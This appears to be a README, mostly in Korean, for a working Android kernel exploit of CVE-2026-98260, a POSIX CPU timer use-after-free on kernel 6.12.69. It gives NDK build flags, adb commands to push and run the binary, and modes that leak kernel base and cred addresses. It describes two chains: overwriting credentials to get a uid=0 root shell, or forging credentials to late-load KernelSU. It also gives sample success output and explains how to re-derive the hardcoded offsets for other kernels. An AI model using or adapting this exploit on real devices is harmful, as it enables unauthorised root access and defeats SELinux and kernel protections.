
6.12.69용 Android 커널 POSIX CPU 타이머 use-after-free 익스플로잇으로, 위조 자격 증명을 통해 uid=0 셸 또는 KernelSU late-load를 달성합니다.
6.12.69-android16-6-g242e1a07f878 的 CVE-2026-98260 POSIX CPU timer UAF 이식
두 가지 체인:
timer: 실제 cred 0 쓰기 → uid=0, u:r:shell:s0 (shell 도메인 root, bset caps)timer fake: fake cred (full caps) → 설치판 KernelSU libksud.so late-load| 경로 | 결과 |
|---|---|
real cred 0 쓰기 + setuid(0) + exec sh | uid=0, u:r:shell:s0, ROOT_SHELL_OK |
fake cred + ksud late-load | 설치판 libksud.so (uapi 6), KSU_LOADED, su는 u:r:ksu:s0 |
u:r:shell:s0), tracefs와 /proc/slabinfo 읽기 가능me.weishu.kernelsu), fake는 자동으로 해당 lib/arm64/libksud.so를 사용NDK 28.2(aarch64, API 35):
cd timer
NDK=~/Android/Sdk/ndk/28.2.13676358/toolchains/llvm/prebuilt/linux-x86_64/bin
$NDK/aarch64-linux-android35-clang -O2 -std=gnu11 -static \
-fno-stack-protector -fno-pic -I. \
-ffunction-sections -fdata-sections timer.c -o timer \
-Wl,--gc-sections -Wl,-s -Wl,--build-id=none \
-Wl,-z,norelro -pthread
adb push timer /data/local/tmp/timer
adb shell chmod 755 /data/local/tmp/timer
# 진단
adb shell /data/local/tmp/timer ids # tracefs page event id 탐지
adb shell /data/local/tmp/timer leak # base/cred/task 누출만 수행, UAF 트리거 안 함
# uid-0 shell (실제 cred)
adb shell /data/local/tmp/timer # id + context + ROOT_SHELL_OK
adb shell /data/local/tmp/timer shell # 대화형 sh
# KernelSU(fake cred + 설치版 ksud)
adb shell 'cd /data/local/tmp && setsid ./timer fake >timer.log 2>&1 </dev/null &'
adb shell cat /data/local/tmp/timer.log
fake 성공 표시:
[ksu] ksud=.../lib/arm64/libksud.so version=ksud 3.3.1-24-g528bafc5 (uapi: 6)
KSU_LOADED
kernelsu ... Live
adb shell /system/bin/su -c id # uid=0 ... context=u:r:ksu:s0
fake 성공 후 부모 프로세스도 park되며, socket으로 fake cred 페이지를 보유timeout/kill을 하지 말 것, 그렇지 않으면 init이 stale node를 회수하면서 panic이 발생할 수 있음timer/timer.c exploit
timer/timer 정적 산출물
tools/*.c 이식 진단 소스
핵심 상수는 timer/timer.c에 하드코딩됨: do_timer_create/copy_process 사이트, selinux_state, panic_on_warn, copy_process task cache 크기, init_* 심볼
커널을 교체할 때는 기기의 boot.img/BTF/kallsyms로 다시 유도한다; tools/ 아래의 파일은 call site, raw record, timer 누출 및 8 KiB AF_UNIX 회수 채널을 확인하는 데 사용된다
woshigenm/CVE-2026-98260(MIT): trigger, real-cred 제로 쓰기, fake cred/KSU 아이디어ghostlock-app: KernelSU late-load 최종 단계